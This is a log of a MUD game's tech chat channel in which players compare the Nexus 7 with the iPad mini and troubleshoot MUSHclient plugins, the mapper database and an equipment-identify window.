T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: of course that's easier to set up on my primary client than it is many others
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: That being said Idras - why the ipad mini? If you can answer that question, will help clear up those reservations quite a bit
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: my favorite access app is iSSH...not free but extremely quite featureful for getting you access to anything
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: it's a telnet client, ssh client, VNC client, RDP client, Xwindows server in one
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: so it can display Windows, Mac or Linux GUI desktops, or any shell-based stuff
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Ooooo Abe.... based on the name, I can assume its an iOS app... any idea if they make an android equivlent?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: they don't
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Shame
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Idras Tech: Currently, owning an Iphone 3g currently and will be planning change it to an android phone, personally would like to experience the world of android apps and also not missing out on the Ios line of apps. The price point of the mini seems to be quite reasonable though there are other android tablets there are cheaper than the ipad mini. regarding about tablets i would really like to game on it and since im attending university soon, the portability would aid in note taking and etc. 
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Well Idras, my.. android bias will probably come out here. But are you familiar with the Nexus 7 and Nexus 10?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: heh, can anyone explain why the logmein app for idevices is free, but the android one costs 30 bucks?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Idras Tech: unfortunately not as indepth as i would be on the ipad
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Ranrr Tech: I keep my nexus 7 in bed with me :D
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Aldeas Tech: see me too!
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Nexus 7 has a higher res then the ipad mini. And the Nexus 10 actually is higher res/ppi then the retina ipads. The Nexus 10 is $399, which is only slightly more then the mini, the Nexus 7 is $199. 
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Well, the bottom tier of them. You can get more storage / HSPA+ modem in them and it'll raise the price a bit. but same for ipads
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Abe... Doesn't make any sense to me really - other then possibly higher marketshare for ipad - so easier to absorb development costs if it will bring them more users vs a smaller section of android users
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: i cant upload the plugins since it kept saying check the output, what does it mean?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: upload plugins?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: yes, i have the plugins in the right folder and etc yet I cant upload it into here
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: what plugins?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Idras Tech: hmm you do have a point there. Daloran
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: bast spellup plugin
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: do you have the entire bast folder?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: yes
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: I added all of them then it said cant upload
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: there's no uploading plugins
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Idras Tech: in that case, size wise i would be looking at either at the padmini and the nexus 7 
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: import?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Ranrr Tech: I've heard from developers that the IOS platform is easier, since it is more homogenous. Personally, I would never develop for a platform that requires me to sign an agreement before I can start writing code, but that's just me.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: file -> plugins
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: click add
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: there's a problem uploading file
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: its what I did, and it kept coming like that
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: you left the plugins inside the bast folder, and put the entire (unzipped) bast folder into MUSHclient\worlds\plugins\, right?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: most expensive nexus 7 is $299, and has an HSPA+ modem in it, if you wanted to add date to it
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: data, rather
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: i read that set up a new folder there under name aardwolf
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: shouldn't make a new folder, just unzip "Bast" and move that into MUSHclient\worlds\plugins\
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: i think i know why
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: how to remove (chan=blah before the channel itself)?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Zetkax Tech: tags off
T3/r7/2013-01-26.txt.gz:{chan ch=tech}The River Styx Tech: tags channels off
T3/r7/2013-01-26.txt.gz:{chan ch=tech}RedRain Tech: help tags
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: ty
T3/r7/2013-01-26.txt.gz:{chan ch=tech}The River Styx Tech: Don't suggest that Zetkax, if they have other scripts that rely on other tags, it could hinder more than it helps
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Zetkax Tech: um thats what i do ...
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: well, if you're seeing that, then you're either not using the aard client (in which cast Bast's stuff won't work), or you have issues with the aard client's included plugins
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: im back on my old baby zmud
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: mushclient wont work, it wont upload any plugins says there's something wrong with each one plugin i uploaded
T3/r7/2013-01-26.txt.gz:{chan ch=tech}The River Styx Tech: just saying, bad thing to tell people ;x
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: if you load fiendish's zmud channel capture script, it will use and gag the {chan ch=foo}
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: im settled with my zmud, and ive workedo n triggers/alias/variables since it came out and been my best friend for last 11 years
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: so trying the mushclient cause people kept telling me its better than zmud
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: it is ;-)
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: so now mushclient won't load any plugins and im stuck with what I get so Im coming back to zmud
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: and it's even better when using tags properly
T3/r7/2013-01-26.txt.gz:{chan ch=tech}RedRain Tech: I used Zmud for 8 yrs or so as well.  I have found the transition to Lua more difficult... but a well set up Aardmush mapper and extra scripts (like winkles) and its just soo soo nice
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: there are tags-enabled zmud scripts by a few people
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: i dont mind to use mushclient due to campaign mostly but apparently it won't let me upload info like gainstatmonitor.xml, bash-hunt.xml and bast-spellup.xml and it kept saying can't upload need to check whats wrong and Im so "dumb" when it comes to check whats wrong with the lua
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: where did you put them?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: i put them in worlds/plugins/ and yet it wont
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: extracted straight from bast zip file
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: you don't take them from the zipfile...
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: you absolutely must put the folder itself there, intact with all plugin files still contained within it, even the ones you're not using
T3/r7/2013-01-26.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: hm ok
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Noodlez Tech: Where can I get the gain monitor seperate?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Sonshi Tech: anyone have any suggestions on what java class to use for drawing simple diagrams? A page I found suggests JFrame, but just wondering...
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Straeldryn Tech: what kind of diagrams?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Sonshi Tech: I want to make a grid and colour them based on some data I have.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Sonshi Tech: just need to draw rectangles and fill them, that's all...
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Straeldryn Tech: you could use JPanels in a GridLayout
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: noodlez: depends on which gain monitor you're looking for
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Straeldryn Tech: and just set the background color on the panels
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Sonshi Tech: thanks, I'll look up JPanels then...
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Sonshi Tech: have no clue as to what JFrames and all that are, heh
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Idras Tech: Crashed earlier and just restored my system, regarding about my question for tablets earlier, have looked on nexus 7 and it is appealing to me. But in terms of support, are there many apps catered to the tablet in ther android market? 
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Idras.. depends on apps for what.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: There are some. certainly not as many as for iPad
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Idras Tech: Daloran, currently is your nexus 7 wifi only or a combi of both 3g and wifi,
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Getsuko Tech: Does anyone know if one can download a pre-explored map for the MUSHclient mapper?  I can't goto places I haven't seen yet :-\
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Idras, I haven't picked one up for myself yet.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Trachx Tech: you can use other players mapper database, just find player with good database 
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: Redryn smacks Getsuko out of his boots with a sign reading "EXPLORE !!"
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: I've been debating the various options for quite a while
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Getsuko Tech: Redryn :P tbh, campaigns can be so tedious without mapping :-\
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Redryn Tech: Getsuko, tbh using mapper without having even seen the area before feels like botting to me
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Getsuko Tech: I guess I can see how you feel that way.  But I like to explore while I'm leveling and doing goals.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Idras Tech: i see, im guessing i would be getting the wifi only version for the nexus 7. Anyone who owns a nexus can shed some light on this? 
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Idras... Shed some light on what?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Nocilis Tech: i have a wifi only nexus 7
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Nocilis Tech: i think you can get hspa ones on tmobile or att
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Do you need mobile data on your tablet? If so, do you have a smartphone you can tether it to? If not, do you have HSPA+ coverage in your area? Thats about what you need to know =p
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Nocilis Tech: i am on verizon, yes i tether to whatever
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: I meant Idras, Noc
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Nocilis Tech: err, through smartphone
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Nocilis Tech: oh sorry
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: That being said - you still on the unlimited plan? Or are you on the new plans that include the tethering
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Idras Tech: i do have a smart phone (iphone 3g) but its getting really buggy and slow now surfing the net. Will be upgrading to a newer phone though. 
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Idras.. you're familiar with the concept of tethering, right?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Nocilis Tech: yea i have unlimited but tbh i dont really tether all that often
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Ahhh fair enough.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Idras Tech: I have read up on it but have not actually done it before 
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Idras Tech: i figure with wifi i pretty much can get my programs and files into the nexus.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Well, basically, the only reason to get a tablet with 3g/4g, is if you don't have the option, or if its too expensive, to tether your smartphone for data. IT allows you to buy a seperate sim card/data plan for your tablet. Or if you have a GSM phone, you can swap the sim card between your phone/tablet
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: If you don't need to have data everywhere - theres no reason to pay more for the 3g version
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Idras Tech: right, that much is understood. Thanks Daloran =)
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Np. Sorry if I'm gabbing too much
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Idras Tech: nah its fine
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Idras Tech: oh, is it possible to locally download an app from google on your computer and transferring it to the nexus? 
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: You can sideload, but theres no direct way to download apps from googles marketplace
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Nocilis Tech: if you gmail yourself the apk file to your gmail and open it on the gmail app it should give you an option to install it
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Nocilis Tech: .... gmail
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Noc.. that doesn't allow you to get the app from the market place though. you still have to have the apk in your posession to do that
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Nocilis Tech: I misunderstood, yes you are right
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: plus, if you have wifi to get email, you could just download the app from the marketplace anyway =)
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: So... maybe random question. Anyone know of a pretty basic flip phone, something like the old motorola razr V3 that would be able to sync with gcal/contacts?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Vakieh Tech: Flips are terrible
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Vakieh Tech: But there's this samsung pretty popular atm
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Superjuicy Tech: I remember when flip phones were the newest and coolest things imaginable.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: The Razr V3 was pretty good, vak. If outdated, even when it came out
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Vakieh Tech: C3520
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Vakieh Tech: Flip is terrible because they always, ALWAYS wear out the cables in the hinge.]
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Vakieh Tech: Why they can't just use rolling contacts I have no clue, but flips are 90% of my mobile RAs
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Shrug. Never had that problem.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Just looking for something small that I can pocket easily.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tigernuts Tech: nokia 3310
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Vakieh Tech: Get one of the pocket galaxies
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: pocket galaxies?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: 3310 not a flip phone =p
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Would fit the bill, if it would sync with google though
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Cody Tech: what file are mapper portals stored in, i want to purge my portals but want a backup copy with the portals. in mush client,that is
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Nuanse Tech: it's in db that mapper should automatically backup for you
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Nuanse Tech: mapper backup -> copy backup into new location for safekeeping ->purge portals
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Remarto Tech: is it possible to diable the mushclient auto update feature?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Remarto Tech: disable*
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Devlyiik Tech: I think so, yes
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Remarto Tech: ive looked at the plugins but cannot tell which is the updater
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Devlyiik Tech: Did you check the aardwolf web page, there is some information regarding the plugins
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Remarto Tech: okay will do
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Redryn Tech: is it aard package update checker?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Turie Tech: Does anyone know if the Blowtorch version of Aardwolf is able to have the MUSHclient Mapper and database imported?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}BobTheGreat Tech: Blowtorch has a mapper plugin now?!
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Turie Tech: They were working on one at one point I was reading.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}BobTheGreat Tech: That's insane :P
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: There's a database in the MUSHclient? Do tell.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}BobTheGreat Tech: Do you have the aard package?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}BobTheGreat Tech: Then the mapper plugin should come builtin
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Turie Tech: It is Aardwolf.db in the main directory.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Legendary Gruagach Tech: ...giggity
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: I got the client from the Aard site.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Ontuct Tech: then as you explore you db builds
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Very nice.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}BobTheGreat Tech: Have you ever seen that window with those colorful squares connected by lines? That's using your mapper db :)
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Ontuct Tech: -your
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Cody Tech: ya, thats the one you want Anihfi. it has mapper right? mapper roxxorz
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Ontuct Tech: and if you havent read it try mapper help
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: So,l I have that very nice mapper plugin, status bars plugin, stats plugin, and the map plugin. The one seperate from the database one. Only thing that would make this the best thing ever is seeing my Armor values and weights  and whatnot.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Now, anything else I should know about this client, or is it all gravy?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}BobTheGreat Tech: I think Bast has something for that.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: armor value isn't that important, but there are plugins for equipment database
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: I like seeing the value is all. :P
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Ontuct Tech: I'd like a dual head video card and two monitors so I could spread my windows out a bit more
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Only two?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: you want total stats and/or total damroll, not resists
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: Protogynus Robbo has 3 on his Radeon 6950.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Ontuct Tech: didn't want to be a total tech geek
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Protogynus Robbo Tech: Oh, I'm proud to be a geek :P
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: I can see my hit and dam rolls, plus my saves. I'll take just a weight tracker and eq database plugin.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: finger bast for a ton of complementary plugins
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: Anihfi nods.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Thanks for the help making this an even better experience. Seriously loving it.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Ok, so my folder for this game is sitting in the downloads portion of my computer. Where exactly should I move the folder?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Usually this type of thing already happens, but I'm not seeing it anywhere besides that folder. Plus, I found a mini window for my inventory.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Dethronicus Tech: do you mean where should you move the game folder to?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Yes. The folder that contains all of this. I want to move it somewhere safely.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Vaerion Tech: Anihfi, if you're referring to the Aardwolf MUSH client, you can move the folder wherever you'd like.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Vaerion Tech: Just remember to recreate any shortcuts if you've made any, so they point to the new location.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Dethronicus Tech: you should be able to move it freely with no issue. Just close Mushclient, move the file and reopen Mushclient.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Ok. I'm going to move it over and get the plugins. Thanks.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: This is weird. I have the window for eq and inventory up, yet it isn't registering what I have equipped or what's in my inventory.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: make sure tags are on, and invmon is on
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: There it goes. I added the invmon plugin and rebooted the client.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Any other plugins you guys and gals suggest?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Huh
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: I don't exactly know what happened, but when I stood up, my eq just got appraised.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Probably your inventory plugin you were just talking about
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: It does that too? Huh. I have the DB plugin installed, so it could be that.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: But it says broadcast in some of the names.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: the _broadcast seem to work like listener plugins for the rest of Bast's plugins to interface with.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Ok, it just spammed identify <numbers> worn.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Bast Tech: you said you were using my miniwin_eq plugin? If you mouseover an item, it will identify it into a second window, so it isn't spam
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: It does a second window, which is nice, but it shows it in the main window too.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Hmm. I see the problem. If the EQID window has disappeared due to me accessing a lower portion of my eq list, it shows it both in the ID window, and the main window.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: So, I'll go through my eq list seeing stats to a degree, then get low enough for it to disappear, and it does it both places.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: it'll grab stats on stuff in bags when you're idle as well
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Hmm. To be honest, compare does what this does as well, only it doesn't spam my main window.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: can change what it spams, and no compare doesn't
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Where do I go to do that? I want it to pop up in just that window.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Actually, I want it gone. I don't need it right now.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Ok, so this is troubling. I found the plugin that pops up the stats for whatever eq I highlight in my window, but turning it off also turns off the window updating when I remove or equip anything.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: I'm considering removing all the plugins I've added, rebooting, loading just a few, then rebooting again.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: They're the same plugin.. The plugin controlling the window also controls the eq stats. You can't get rid of one without the other.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Then I need to know what I can modify to where it stays in the popup window.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: You'd need to learn/already know how to modify plugins. And modify the source code.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Bast Tech: are you actually seeing the output of the identify command, or are you just seeing the "identify <serial> worn" in your output without the entire identify?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: I see "identify <serial> worn", then it fills my output window, if that's what the main one is called.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: It pops up the side window, which is what I want it to only do, but it also fills up this window.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Bast Tech: type "eqdb set" and what is the variable showoutput set to?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: False.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Bast Tech: then it should not be showing that to you. Does it do if each time you mouseover the same item, or just once?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Does it for every item, every time I mouse over it.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Bast Tech: what is your pagesize set to? type "pagesize" to find out
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: 24
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Bast Tech: I don't know why it is doing it for you. It doesn't do that for me. Try looking here: http://code.google.com/p/bastmush/wiki/Troubleshooting
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: checked for %c?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Bast Tech: the new client should do that automatically
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: should only do that once
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Interesting.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: It shows what you said, the "identify <serial> worn" when I mouseover, but upon subsequent checks at a certain speed, it'll just pop up the window with it's stats.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Is it possible to block it from showing in the output, while still getting the same effect, or is it tied to both the miniwin and the output one. Also, I want to assume output = main window.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Bast Tech: but does it show the entire identify output, where you see the stats of the item?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Bast Tech: in the output
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Yes. Shows it in both places.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Right now, I moused-over my worn items and had it added. So, right now, it doesn't do it anymore. It'll pop up in the miniwin like I believe it should.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Of course, between now and the end of this whole thing, there's a ton of eq to wear.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Bast Tech: again, it doesn't do that for me, nor have I had any other reports of that happening, so I don't know what to tell you
T3/r7/2013-01-26.txt.gz:{chan ch=tech}The River Styx Tech: man, glad you're not at the other end of the line when I call tech support for something real Bast.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: Anihfi chuckles politely.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Legendary Gruagach Tech: you call tech support? lol'd
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Legendary Gruagach Tech: maybe you should let your husband fix your problems next time, no need to call tech support
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Bast Tech: it's hard to troubleshoot something when you can't recreate the problem, it works for everyone else
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: The River Styx peers intently at Legendary Gruagach.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: It's fine. Eq flows at a nice pace to where it won't be a hassle for me.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}The River Styx Tech: My husbands dead and I live alone with my wife!  Techsupport is needed!
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Sit like a Trurien Tech: How does one enable Unicode support in MUSH?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: think it'd be enabled already if it's supported at all
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Sit like a Trurien Tech: Odd. OK. Thanks.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: Huh, this is even more interesting. The EQ database that I'm building up by highlighting all my items? In the notes, it reads that I'm starving and dehydrated. (I am, so heh to that and all.)
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: It's for the Bracers of the Believer.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Daloran Tech: Do you believe you're starving and dehydrated?
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Anihfi Tech: I know I am. Since it only affects healing, and I'm not doing anything right now, I haven't remedied it.
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Getsuko Tech: is there a way to define custom macros in mush?  (ie control-H)
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: yup
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: look up accelerators
T3/r7/2013-01-26.txt.gz:{chan ch=tech}Tech: as with most MUSH questions, it's answered on Fiendish's site
